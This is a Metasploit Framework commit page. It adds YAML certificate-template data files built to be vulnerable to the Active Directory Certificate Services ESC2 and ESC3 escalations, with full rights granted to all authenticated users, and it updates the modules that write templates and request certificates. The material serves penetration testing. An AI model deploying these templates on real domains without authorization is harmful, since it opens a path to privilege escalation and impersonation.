Skip to content

Commit 3dc6389

Browse files
committed
Land rapid7#18906, Add template data files for ESC2 and ESC3
Merge branch 'land-18906' into upstream-master
2 parents 876398d + 7bce403 commit 3dc6389

File tree

8 files changed

+127
-39
lines changed

8 files changed

+127
-39
lines changed

data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
---
2-
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
2+
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
33
# the request). Fields are based on the SubCA template. For field descriptions,
44
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
55
showInAdvancedViewOnly: 'TRUE'
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
---
2+
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
3+
# Fields are based on the SubCA template. For field descriptions,
4+
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
5+
showInAdvancedViewOnly: 'TRUE'
6+
# this security descriptor grants all permissions to all authenticated users
7+
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
8+
flags: 0
9+
pKIDefaultKeySpec: 2
10+
pKIKeyUsage: !binary |-
11+
hgA=
12+
pKIMaxIssuingDepth: 0
13+
pKICriticalExtensions:
14+
- 2.5.29.19
15+
- 2.5.29.15
16+
pKIExtendedKeyUsage:
17+
# Any Purpose OID
18+
- 2.5.29.37.0
19+
pKIExpirationPeriod: !binary |-
20+
AEAepOhl+v8=
21+
pKIOverlapPeriod: !binary |-
22+
AICmCv/e//8=
23+
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
24+
msPKI-RA-Signature: 0
25+
msPKI-Enrollment-Flag: 0
26+
# CT_FLAG_EXPORTABLE_KEY
27+
msPKI-Private-Key-Flag: 0x10
28+
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
29+
msPKI-Certificate-Name-Flag: 0x82000000
30+
msPKI-Minimal-Key-Size: 2048
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
---
2+
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
3+
# Fields are based on the SubCA template. For field descriptions,
4+
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
5+
showInAdvancedViewOnly: 'TRUE'
6+
# this security descriptor grants all permissions to all authenticated users
7+
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
8+
flags: 0
9+
pKIDefaultKeySpec: 2
10+
pKIKeyUsage: !binary |-
11+
hgA=
12+
pKIMaxIssuingDepth: 0
13+
pKICriticalExtensions:
14+
- 2.5.29.19
15+
- 2.5.29.15
16+
pKIExtendedKeyUsage:
17+
# Certificate Request Agent OID
18+
- 1.3.6.1.4.1.311.20.2.1
19+
pKIExpirationPeriod: !binary |-
20+
AEAepOhl+v8=
21+
pKIOverlapPeriod: !binary |-
22+
AICmCv/e//8=
23+
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
24+
msPKI-RA-Signature: 0
25+
msPKI-Enrollment-Flag: 0
26+
# CT_FLAG_EXPORTABLE_KEY
27+
msPKI-Private-Key-Flag: 0x10
28+
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
29+
msPKI-Certificate-Name-Flag: 0x82000000
30+
msPKI-Minimal-Key-Size: 2048

documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@ Request certificates via MS-ICPR (Active Directory Certificate Services). Depend
33
template's configuration the resulting certificate can be used for various operations such as authentication.
44
PFX certificate files that are saved are encrypted with a blank password.
55

6+
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
7+
68
## Module usage
79

810
1. From msfconsole

documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,13 @@
1-
## RBCD Exploitation
1+
## AD CS Certificate Template Exploitation
22

33
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
44

5-
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
6-
the CREATE or UPDATE actions.
5+
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
6+
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
7+
file to be specified to define the attributes. Template data files are provided to create a template that is
8+
vulnerable to ESC1, ESC2, and ESC3.
9+
10+
This module is capable of exploiting ESC4.
711

812
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
913
necessary permissions to perform the specified action on the target object (the certificate specified in

modules/auxiliary/admin/dcerpc/icpr_cert.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,8 @@ def initialize(info = {})
2121
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
2222
template's configuration the resulting certificate can be used for various operations such as authentication.
2323
PFX certificate files that are saved are encrypted with a blank password.
24+
25+
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
2426
},
2527
'License' => MSF_LICENSE,
2628
'Author' => [

modules/auxiliary/admin/ldap/ad_cs_cert_template.rb

Lines changed: 53 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -42,11 +42,15 @@ def initialize(info = {})
4242
info,
4343
'Name' => 'AD CS Certificate Template Management',
4444
'Description' => %q{
45-
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain
45+
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain
4646
Controller.
4747
4848
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
49-
restored using the CREATE or UPDATE actions.
49+
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
50+
file to be specified to define the attributes. Template data files are provided to create a template that is
51+
vulnerable to ESC1, ESC2, and ESC3.
52+
53+
This module is capable of exploiting ESC4.
5054
},
5155
'Author' => [
5256
'Will Schroeder', # original idea/research
@@ -69,7 +73,8 @@ def initialize(info = {})
6973
'Notes' => {
7074
'Stability' => [],
7175
'SideEffects' => [CONFIG_CHANGES],
72-
'Reliability' => []
76+
'Reliability' => [],
77+
'AKA' => [ 'Certifry', 'Certipy' ]
7378
}
7479
)
7580
)
@@ -327,16 +332,16 @@ def action_read
327332

328333
print_status('Certificate Template:')
329334
print_status(" distinguishedName: #{obj['distinguishedname'].first}")
330-
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].first.present?
335+
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?
331336
if obj['objectguid'].first.present?
332337
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
333338
print_status(" objectGUID: #{object_guid}")
334339
end
335340

336-
mspki_flag = obj['mspki-certificate-name-flag'].first
337-
if mspki_flag.present?
338-
mspki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
339-
print_status(" msPKI-Certificate-Name-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
341+
pki_flag = obj['mspki-certificate-name-flag']&.first
342+
if pki_flag.present?
343+
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
344+
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
340345
%w[
341346
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
342347
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
@@ -352,16 +357,16 @@ def action_read
352357
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
353358
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
354359
].each do |flag_name|
355-
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
360+
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
356361
print_status(" * #{flag_name}")
357362
end
358363
end
359364
end
360365

361-
mspki_flag = obj['mspki-enrollment-flag'].first
362-
if mspki_flag.present?
363-
mspki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
364-
print_status(" msPKI-Enrollment-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
366+
pki_flag = obj['mspki-enrollment-flag']&.first
367+
if pki_flag.present?
368+
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
369+
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
365370
%w[
366371
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
367372
CT_FLAG_PEND_ALL_REQUESTS
@@ -381,16 +386,16 @@ def action_read
381386
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
382387
CT_FLAG_SKIP_AUTO_RENEWAL
383388
].each do |flag_name|
384-
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
389+
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
385390
print_status(" * #{flag_name}")
386391
end
387392
end
388393
end
389394

390-
mspki_flag = obj['mspki-private-key-flag'].first
391-
if mspki_flag.present?
392-
mspki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
393-
print_status(" msPKI-Private-Key-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
395+
pki_flag = obj['mspki-private-key-flag']&.first
396+
if pki_flag.present?
397+
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
398+
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
394399
%w[
395400
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
396401
CT_FLAG_EXPORTABLE_KEY
@@ -407,27 +412,16 @@ def action_read
407412
CT_FLAG_EK_VALIDATE_KEY
408413
CT_FLAG_HELLO_LOGON_KEY
409414
].each do |flag_name|
410-
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
415+
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
411416
print_status(" * #{flag_name}")
412417
end
413418
end
414419
end
415420

416-
mspki_flag = obj['mspki-ra-signature'].first
417-
if mspki_flag.present?
418-
mspki_flag = [obj['mspki-ra-signature'].first.to_i].pack('l').unpack1('L')
419-
print_status(" msPKI-RA-Signature: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
420-
end
421-
422-
if obj['pkiextendedkeyusage'].present?
423-
print_status(' pKIExtendedKeyUsage:')
424-
obj['pkiextendedkeyusage'].each do |value|
425-
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
426-
print_status(" * #{value} (#{oid.label})")
427-
else
428-
print_status(" * #{value}")
429-
end
430-
end
421+
pki_flag = obj['mspki-ra-signature']&.first
422+
if pki_flag.present?
423+
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
424+
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
431425
end
432426

433427
if obj['mspki-certificate-policy'].present?
@@ -448,6 +442,31 @@ def action_read
448442
end
449443
end
450444
end
445+
446+
if obj['mspki-template-schema-version'].present?
447+
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")
448+
end
449+
450+
pki_flag = obj['pkikeyusage']&.first
451+
if pki_flag.present?
452+
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
453+
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
454+
end
455+
456+
if obj['pkiextendedkeyusage'].present?
457+
print_status(' pKIExtendedKeyUsage:')
458+
obj['pkiextendedkeyusage'].each do |value|
459+
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
460+
print_status(" * #{value} (#{oid.label})")
461+
else
462+
print_status(" * #{value}")
463+
end
464+
end
465+
end
466+
467+
if obj['pkimaxissuingdepth'].present?
468+
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
469+
end
451470
end
452471

453472
def action_update

modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,8 @@ def initialize(info = {})
4444
'Notes' => {
4545
'Stability' => [CRASH_SAFE],
4646
'SideEffects' => [IOC_IN_LOGS],
47-
'Reliability' => []
47+
'Reliability' => [],
48+
'AKA' => [ 'Certifry', 'Certipy' ]
4849
}
4950
)
5051
)

0 commit comments

Comments
 (0)